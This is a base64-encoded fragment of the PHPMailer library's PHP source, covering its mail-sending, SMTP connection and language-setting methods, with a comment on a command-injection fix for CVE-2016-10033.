hlIFBIUCBtYWlsKCkgZnVuY3Rpb24uDQogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkNCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Jvb2subWFpbC5waHANCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbg0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQ0KICAgIHsNCiAgICAgICAgJHRvQXJyID0gYXJyYXkoKTsNCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsNCiAgICAgICAgICAgICR0b0FycltdID0gJHRoaXMtPmFkZHJGb3JtYXQoJHRvYWRkcik7DQogICAgICAgIH0NCiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOw0KDQogICAgICAgICRwYXJhbXMgPSBudWxsOw0KICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXINCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgew0KICAgICAgICAgICAgLy8gQ1ZFLTIwMTYtMTAwMzMsIENWRS0yMDE2LTEwMDQ1OiBEb24ndCBwYXNzIC1mIGlmIGNoYXJhY3RlcnMgd2lsbCBiZSBlc2NhcGVkLg0KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7DQogICAgICAgICAgICAgICAgJHBhcmFtcyA9IHNwcmludGYoJy1mJXMnLCAkdGhpcy0+U2VuZGVyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAhaW5pX2dldCgnc2FmZV9tb2RlJykgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsNCiAgICAgICAgICAgICRvbGRfZnJvbSA9IGluaV9nZXQoJ3NlbmRtYWlsX2Zyb20nKTsNCiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsNCiAgICAgICAgfQ0KICAgICAgICAkcmVzdWx0ID0gZmFsc2U7DQogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdG9BcnIgYXMgJHRvQWRkcikgew0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSAkdGhpcy0+bWFpbFBhc3N0aHJ1KCR0b0FkZHIsICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7DQogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7DQogICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkcmVzdWx0LCAkdGhpcy0+dG8sICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsNCiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkb2xkX2Zyb20pOw0KICAgICAgICB9DQogICAgICAgIGlmICghJHJlc3VsdCkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnaW5zdGFudGlhdGUnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogR2V0IGFuIGluc3RhbmNlIHRvIHVzZSBmb3IgU01UUCBvcGVyYXRpb25zLg0KICAgICAqIE92ZXJyaWRlIHRoaXMgZnVuY3Rpb24gdG8gbG9hZCB5b3VyIG93biBTTVRQIGltcGxlbWVudGF0aW9uDQogICAgICogQHJldHVybiBTTVRQDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFNNVFBJbnN0YW5jZSgpDQogICAgew0KICAgICAgICBpZiAoIWlzX29iamVjdCgkdGhpcy0+c210cCkpIHsNCiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gbmV3IFNNVFA7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNlbmQgbWFpbCB2aWEgU01UUC4NCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4NCiAgICAgKiBVc2VzIHRoZSBQSFBNYWlsZXJTTVRQIGNsYXNzIGJ5IGRlZmF1bHQuDQogICAgICogQHNlZSBQSFBNYWlsZXI6OmdldFNNVFBJbnN0YW5jZSgpIHRvIHVzZSBhIGRpZmZlcmVudCBjbGFzcy4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQ0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHVzZXMgU01UUA0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNtdHBTZW5kKCRoZWFkZXIsICRib2R5KQ0KICAgIHsNCiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCEkdGhpcy0+c210cENvbm5lY3QoJHRoaXMtPlNNVFBPcHRpb25zKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnc210cF9jb25uZWN0X2ZhaWxlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7DQogICAgICAgICAgICAkc210cF9mcm9tID0gJHRoaXMtPlNlbmRlcjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRzbXRwX2Zyb20gPSAkdGhpcy0+RnJvbTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7DQogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ2Zyb21fZmFpbGVkJykgLiAkc210cF9mcm9tIC4gJyA6ICcgLiBpbXBsb2RlKCcsJywgJHRoaXMtPnNtdHAtPmdldEVycm9yKCkpKTsNCiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkVycm9ySW5mbywgc2VsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBdHRlbXB0IHRvIHNlbmQgdG8gYWxsIHJlY2lwaWVudHMNCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdG9ncm91cCBhcyAkdG8pIHsNCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5yZWNpcGllbnQoJHRvWzBdKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgJGJhZF9yY3B0W10gPSBhcnJheSgndG8nID0+ICR0b1swXSwgJ2Vycm9yJyA9PiAkZXJyb3JbJ2RldGFpbCddKTsNCiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vIE9ubHkgc2VuZCB0aGUgREFUQSBjb21tYW5kIGlmIHdlIGhhdmUgdmlhYmxlIHJlY2lwaWVudHMNCiAgICAgICAgaWYgKChjb3VudCgkdGhpcy0+YWxsX3JlY2lwaWVudHMpID4gY291bnQoJGJhZF9yY3B0KSkgYW5kICEkdGhpcy0+c210cC0+ZGF0YSgkaGVhZGVyIC4gJGJvZHkpKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHRoaXMtPlNNVFBLZWVwQWxpdmUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsNCiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOw0KICAgICAgICB9DQogICAgICAgIC8vQ3JlYXRlIGVycm9yIG1lc3NhZ2UgZm9yIGFueSBiYWQgYWRkcmVzc2VzDQogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgew0KICAgICAgICAgICAgJGVycnN0ciA9ICcnOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGJhZF9yY3B0IGFzICRiYWQpIHsNCiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oDQogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLA0KICAgICAgICAgICAgICAgIHNlbGY6OlNUT1BfQ09OVElOVUUNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogSW5pdGlhdGUgYSBjb25uZWN0aW9uIHRvIGFuIFNNVFAgc2VydmVyLg0KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuDQogICAgICogQHBhcmFtIGFycmF5ICRvcHRpb25zIEFuIGFycmF5IG9mIG9wdGlvbnMgY29tcGF0aWJsZSB3aXRoIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpDQogICAgICogQHVzZXMgU01UUA0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24NCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc210cENvbm5lY3QoJG9wdGlvbnMgPSBudWxsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7DQogICAgICAgICAgICAkdGhpcy0+c210cCA9ICR0aGlzLT5nZXRTTVRQSW5zdGFuY2UoKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vSWYgbm8gb3B0aW9ucyBhcmUgcHJvdmlkZWQsIHVzZSB3aGF0ZXZlciBpcyBzZXQgaW4gdGhlIGluc3RhbmNlDQogICAgICAgIGlmIChpc19udWxsKCRvcHRpb25zKSkgew0KICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8NCiAgICAgICAgaWYgKCR0aGlzLT5zbXRwLT5jb25uZWN0ZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCg0KICAgICAgICAkdGhpcy0+c210cC0+c2V0VGltZW91dCgkdGhpcy0+VGltZW91dCk7DQogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOw0KICAgICAgICAkdGhpcy0+c210cC0+c2V0RGVidWdPdXRwdXQoJHRoaXMtPkRlYnVnb3V0cHV0KTsNCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFZlcnAoJHRoaXMtPmRvX3ZlcnApOw0KICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOw0KICAgICAgICAkbGFzdGV4Y2VwdGlvbiA9IG51bGw7DQoNCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsNCiAgICAgICAgICAgICRob3N0aW5mbyA9IGFycmF5KCk7DQogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goDQogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo/KFswLTldKikkLycsDQogICAgICAgICAgICAgICAgdHJpbSgkaG9zdGVudHJ5KSwNCiAgICAgICAgICAgICAgICAkaG9zdGluZm8NCiAgICAgICAgICAgICkpIHsNCiAgICAgICAgICAgICAgICAvLyBOb3QgYSB2YWxpZCBob3N0IGVudHJ5DQogICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnSWdub3JpbmcgaW52YWxpZCBob3N0OiAnIC4gJGhvc3RlbnRyeSk7DQogICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvLyAkaG9zdGluZm9bMl06IG9wdGlvbmFsIHNzbCBvciB0bHMgcHJlZml4DQogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQ0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzRdOiBvcHRpb25hbCBwb3J0IG51bWJlcg0KICAgICAgICAgICAgLy8gVGhlIGhvc3Qgc3RyaW5nIHByZWZpeCBjYW4gdGVtcG9yYXJpbHkgb3ZlcnJpZGUgdGhlIGN1cnJlbnQgc2V0dGluZyBmb3IgU01UUFNlY3VyZQ0KICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkDQogICAgICAgICAgICAkcHJlZml4ID0gJyc7DQogICAgICAgICAgICAkc2VjdXJlID0gJHRoaXMtPlNNVFBTZWN1cmU7DQogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsNCiAgICAgICAgICAgIGlmICgnc3NsJyA9PSAkaG9zdGluZm9bMl0gb3IgKCcnID09ICRob3N0aW5mb1syXSBhbmQgJ3NzbCcgPT0gJHRoaXMtPlNNVFBTZWN1cmUpKSB7DQogICAgICAgICAgICAgICAgJHByZWZpeCA9ICdzc2w6Ly8nOw0KICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lDQogICAgICAgICAgICAgICAgJHNlY3VyZSA9ICdzc2wnOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRob3N0aW5mb1syXSA9PSAndGxzJykgew0KICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOw0KICAgICAgICAgICAgICAgIC8vIHRscyBkb2Vzbid0IHVzZSBhIHByZWZpeA0KICAgICAgICAgICAgICAgICRzZWN1cmUgPSAndGxzJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vRG8gd2UgbmVlZCB0aGUgT3BlblNTTCBleHRlbnNpb24/DQogICAgICAgICAgICAkc3NsZXh0ID0gZGVmaW5lZCgnT1BFTlNTTF9BTEdPX1NIQTEnKTsNCiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgew0KICAgICAgICAgICAgICAgIC8vQ2hlY2sgZm9yIGFuIE9wZW5TU0wgY29uc3RhbnQgcmF0aGVyIHRoYW4gdXNpbmcgZXh0ZW5zaW9uX2xvYWRlZCwgd2hpY2ggaXMgc29tZXRpbWVzIGRpc2FibGVkDQogICAgICAgICAgICAgICAgaWYgKCEkc3NsZXh0KSB7DQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsNCiAgICAgICAgICAgICRwb3J0ID0gJHRoaXMtPlBvcnQ7DQogICAgICAgICAgICAkdHBvcnQgPSAoaW50ZWdlcikkaG9zdGluZm9bNF07DQogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsNCiAgICAgICAgICAgICAgICAkcG9ydCA9ICR0cG9ydDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5IZWxvKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoZWxsbyA9ICR0aGlzLT5zZXJ2ZXJIb3N0bmFtZSgpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5oZWxsbygkaGVsbG8pOw0KICAgICAgICAgICAgICAgICAgICAvL0F1dG9tYXRpY2FsbHkgZW5hYmxlIFRMUyBlbmNyeXB0aW9uIGlmOg0KICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkDQogICAgICAgICAgICAgICAgICAgIC8vICogd2UgaGF2ZSBvcGVuc3NsIGV4dGVuc2lvbg0KICAgICAgICAgICAgICAgICAgICAvLyAqIHdlIGFyZSBub3QgYWxyZWFkeSB1c2luZyBTU0wNCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNNVFBBdXRvVExTIGFuZCAkc3NsZXh0IGFuZCAkc2VjdXJlICE9ICdzc2wnIGFuZCAkdGhpcy0+c210cC0+Z2V0U2VydmVyRXh0KCdTVEFSVFRMUycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGxzID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRscykgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+c3RhcnRUTFMoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdlIG11c3QgcmVzZW5kIEVITE8gYWZ0ZXIgVExTIG5lZ290aWF0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNNVFBBdXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlVzZXJuYW1lLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5QYXNzd29yZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlYWxtLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5Xb3Jrc3RhdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnYXV0aGVudGljYXRlJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7DQogICAgICAgICAgICAgICAgICAgICRsYXN0ZXhjZXB0aW9uID0gJGV4YzsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOw0KICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIC8vIElmIHdlIGdldCBoZXJlLCBhbGwgY29ubmVjdGlvbiBhdHRlbXB0cyBoYXZlIGZhaWxlZCwgc28gY2xvc2UgY29ubmVjdGlvbiBoYXJkDQogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOw0KICAgICAgICAvLyBBcyB3ZSd2ZSBjYXVnaHQgYWxsIGV4Y2VwdGlvbnMsIGp1c3QgcmVwb3J0IHdoYXRldmVyIHRoZSBsYXN0IG9uZSB3YXMNCiAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zIGFuZCAhaXNfbnVsbCgkbGFzdGV4Y2VwdGlvbikpIHsNCiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLg0KICAgICAqIEByZXR1cm4gdm9pZA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX2EoJHRoaXMtPnNtdHAsICdTTVRQJykpIHsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+cXVpdCgpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2V0IHRoZSBsYW5ndWFnZSBmb3IgZXJyb3IgbWVzc2FnZXMuDQogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4NCiAgICAgKiBUaGUgZGVmYXVsdCBsYW5ndWFnZSBpcyBFbmdsaXNoLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdjb2RlIElTTyA2MzktMSAyLWNoYXJhY3RlciBsYW5ndWFnZSBjb2RlIChlLmcuIEZyZW5jaCBpcyAiZnIiKQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQ0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHNldExhbmd1YWdlKCRsYW5nY29kZSA9ICdlbicsICRsYW5nX3BhdGggPSAnJykNCiAgICB7DQogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzDQogICAgICAgICRyZW5hbWVkX2xhbmdjb2RlcyA9IGFycmF5KA0KICAgICAgICAgICAgJ2JyJyA9PiAncHRfYnInLA0KICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLA0KICAgICAgICAgICAgJ2RrJyA9PiAnZGEnLA0KICAgICAgICAgICAgJ25vJyA9PiAnbmInLA0KICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLA0KICAgICAgICAgICAgJ3NyJyA9PiAncnMnDQogICAgICAgICk7DQoNCiAgICAgICAgaWYgKGlzc2V0KCRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdKSkgew0KICAgICAgICAgICAgJGxhbmdjb2RlID0gJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV07DQogICAgICAgIH0NCg0KICAgICAgICAvLyBEZWZpbmUgZnVsbCBzZXQgb2YgdHJhbnNsYXRhYmxlIHN0cmluZ3MgaW4gRW5nbGlzaA0KICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgNCiAgICAgICAgICAgICdhdXRoZW50aWNhdGUnID0+ICdTTVRQIEVycm9yOiBDb3VsZCBub3QgYXV0aGVudGljYXRlLicsDQogICAgICAgICAgICAnY29ubmVjdF9ob3N0JyA9PiAnU01UUCBFcnJvcjogQ291bGQgbm90IGNvbm5lY3QgdG8gU01UUCBob3N0LicsDQogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLA0KICAgICAgICAgICAgJ2VtcHR5X21lc3NhZ2UnID0+ICdNZXNzYWdlIGJvZHkgZW1wdHknLA0KICAgICAgICAgICAgJ2VuY29kaW5nJyA9PiAnVW5rbm93biBlbmNvZGluZzogJywNCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsDQogICAgICAgICAgICAnZmlsZV9hY2Nlc3MnID0+ICdDb3VsZCBub3QgYWNjZXNzIGZpbGU6ICcsDQogICAgICAgICAgICAnZmlsZV9vcGVuJyA9PiAnRmlsZSBFcnJvcjogQ291bGQgbm90IG9wZW4gZmlsZTogJywNCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywNCiAgICAgICAgICAgICdpbnN0YW50aWF0ZScgPT4gJ0NvdWxkIG5vdCBpbnN0YW50aWF0ZSBtYWlsIGZ1bmN0aW9uLicsDQogICAgICAgICAgICAnaW52YWxpZF9hZGRyZXNzJyA9PiAnSW52YWxpZCBhZGRyZXNzOiAnLA0KICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnI